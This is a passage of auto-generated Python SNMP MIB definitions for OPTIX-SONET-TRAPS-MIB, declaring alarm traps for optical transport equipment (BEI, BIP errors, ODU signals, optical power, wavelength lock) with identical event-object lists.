("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almPmBDI.setStatus('current') almSmBEI = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 278)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almSmBEI.setStatus('current') almPmBEI = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 279)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almPmBEI.setStatus('current') almSmIAE = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 280)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almSmIAE.setStatus('current') almSmBipExcessive = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 282)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almSmBipExcessive.setStatus('current') almPmBipExcessive = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 283)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almPmBipExcessive.setStatus('current') almSmBipSignalDefect = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 284)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almSmBipSignalDefect.setStatus('current') almPmBipSignalDefect = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 285)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almPmBipSignalDefect.setStatus('current') almOTUAlarmIndicationSignal = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 286)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almOTUAlarmIndicationSignal.setStatus('current') almODUAlarmIndicationSignal = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 287)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almODUAlarmIndicationSignal.setStatus('current') almODUOpenConnectionIndicationSignal = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 288)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almODUOpenConnectionIndicationSignal.setStatus('current') almODULockedIndicationSignal = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 289)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almODULockedIndicationSignal.setStatus('current') almSumInputOpticalPowerHigh = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 323)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almSumInputOpticalPowerHigh.setStatus('current') almSumInputOpticalPowerLow = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 324)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almSumInputOpticalPowerLow.setStatus('current') almSumOutOpticalPowerHigh = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 325)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almSumOutOpticalPowerHigh.setStatus('current') almOutOpticalPowerLow = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 326)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almOutOpticalPowerLow.setStatus('current') almGainLow = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 327)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almGainLow.setStatus('current') almExcessiveErrorDefectBeforeFEC = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 335)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almExcessiveErrorDefectBeforeFEC.setStatus('current') almDgeAdjustmentFail = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 433)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almDgeAdjustmentFail.setStatus('current') almWavelengthLockFail = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 439)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almWavelengthLockFail.setStatus('current') almHotSwitchControlUnavail = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 440)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almHotSwitchControlUnavail.setStatus('current') almEsconCodeError = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 570)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almEsconCodeError.setStatus('current') almCommitTimeout = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 573)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almCommitTimeout.setStatus('current') almSwdlNePackageCheck = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 574)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almSwdlNePackageCheck.setStatus('current') almSwdlChaGmngmMismatch = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 575)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almSwdlChaGmngmMismatch.setStatus('current') almDBSyncFail = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 591)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almDBSyncFail.setStatus('current') almClientMismatch = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 604)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almClientMismatch.setStatus('current') almLaserModuleMismatch = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 